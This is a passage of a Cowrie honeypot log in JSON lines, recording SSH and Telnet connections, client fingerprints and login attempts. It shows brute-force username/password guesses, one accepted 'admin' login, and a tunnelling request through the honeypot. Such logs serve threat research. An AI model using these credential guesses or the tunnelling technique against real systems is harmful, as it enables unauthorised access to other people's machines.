\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:44.434700Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:44.847085Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.43580532073975,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:51.707034Z","src_ip":"94.23.66.112","session":"ec062cda51d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.093214988708496,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:55.695304Z","src_ip":"128.199.8.54","session":"95d9004d842d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37920,"dst_ip":"159.203.135.109","dst_port":22,"session":"aca06f59a241","protocol":"ssh","message":"New connection: 194.59.206.2:37920 (159.203.135.109:22) [session: aca06f59a241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:03.350017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:03.353932Z","src_ip":"194.59.206.2","session":"aca06f59a241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:03.444632Z","src_ip":"194.59.206.2","session":"aca06f59a241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:03.549284Z","src_ip":"194.59.206.2","session":"aca06f59a241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.328816413879395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:06.930024Z","src_ip":"172.81.62.90","session":"15103353d8f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":37836,"dst_ip":"159.203.135.109","dst_port":22,"session":"e016842daf8c","protocol":"ssh","message":"New connection: 2.99.213.222:37836 (159.203.135.109:22) [session: e016842daf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:11.910809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:11.916063Z","src_ip":"2.99.213.222","session":"e016842daf8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:12.018001Z","src_ip":"2.99.213.222","session":"e016842daf8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"Jason123!","message":"login attempt [jason/Jason123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:12.454033Z","src_ip":"2.99.213.222","session":"e016842daf8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:13.555291Z","src_ip":"2.99.213.222","session":"e016842daf8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49484,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c74fe60b88","protocol":"telnet","message":"New connection: 128.199.8.54:49484 (159.203.135.109:23) [session: 05c74fe60b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:15.608619Z"}
{"eventid":"cowrie.session.closed","duration":0.004208564758300781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:15.612697Z","src_ip":"128.199.8.54","session":"05c74fe60b88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":43094,"dst_ip":"159.203.135.109","dst_port":23,"session":"821beddacbc7","protocol":"telnet","message":"New connection: 50.65.170.8:43094 (159.203.135.109:23) [session: 821beddacbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:26.311512Z"}
{"eventid":"cowrie.session.closed","duration":52.71726870536804,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:27.856808Z","src_ip":"128.199.8.54","session":"b49804fb7e15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.77135229110718,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:37.587370Z","src_ip":"128.199.8.54","session":"7d5b54044634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43312,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c2a9f81ff8","protocol":"ssh","message":"New connection: 182.93.50.90:43312 (159.203.135.109:22) [session: f2c2a9f81ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:40.038042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:40.042081Z","src_ip":"182.93.50.90","session":"f2c2a9f81ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:40.260445Z","src_ip":"182.93.50.90","session":"f2c2a9f81ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"help","password":"123","message":"login attempt [help/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:41.167844Z","src_ip":"182.93.50.90","session":"f2c2a9f81ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:42.389730Z","src_ip":"182.93.50.90","session":"f2c2a9f81ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0c49ff355de","protocol":"telnet","message":"New connection: 172.81.62.90:46768 (159.203.135.109:23) [session: d0c49ff355de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:48.625417Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":38374,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b591fc99824","protocol":"ssh","message":"New connection: 103.60.242.169:38374 (159.203.135.109:22) [session: 7b591fc99824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:51.174036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:51.178092Z","src_ip":"103.60.242.169","session":"7b591fc99824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:51.434415Z","src_ip":"103.60.242.169","session":"7b591fc99824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"console","password":"console","message":"login attempt [console/console] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:52.495733Z","src_ip":"103.60.242.169","session":"7b591fc99824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:53.755629Z","src_ip":"103.60.242.169","session":"7b591fc99824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53004,"dst_ip":"10.17.0.5","dst_port":23,"session":"1479e5b67064","protocol":"telnet","message":"New connection: 94.23.66.112:53004 (10.17.0.5:23) [session: 1479e5b67064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:22:55.254480Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40192,"dst_ip":"10.17.0.5","dst_port":22,"session":"51fc43ac97df","protocol":"ssh","message":"New connection: 27.71.230.31:40192 (10.17.0.5:22) [session: 51fc43ac97df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:02.642085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:02.652590Z","src_ip":"27.71.230.31","session":"51fc43ac97df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:02.929618Z","src_ip":"27.71.230.31","session":"51fc43ac97df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":36874,"dst_ip":"159.203.135.109","dst_port":22,"session":"04e0beeb10cd","protocol":"ssh","message":"New connection: 49.247.37.22:36874 (159.203.135.109:22) [session: 04e0beeb10cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:05.245167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:05.249469Z","src_ip":"49.247.37.22","session":"04e0beeb10cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:05.462224Z","src_ip":"49.247.37.22","session":"04e0beeb10cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usman","password":"usman123","message":"login attempt [usman/usman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:06.309499Z","src_ip":"49.247.37.22","session":"04e0beeb10cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password100","message":"login attempt [root/Password100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:06.702725Z","src_ip":"27.71.230.31","session":"51fc43ac97df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:07.522987Z","src_ip":"49.247.37.22","session":"04e0beeb10cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:08.045373Z","src_ip":"27.71.230.31","session":"51fc43ac97df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49208,"dst_ip":"10.17.0.5","dst_port":22,"session":"69813031b276","protocol":"ssh","message":"New connection: 123.27.168.40:49208 (10.17.0.5:22) [session: 69813031b276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:13.917726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:13.922012Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:14.175354Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:15.268128Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:15.662759Z","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:15.913707Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
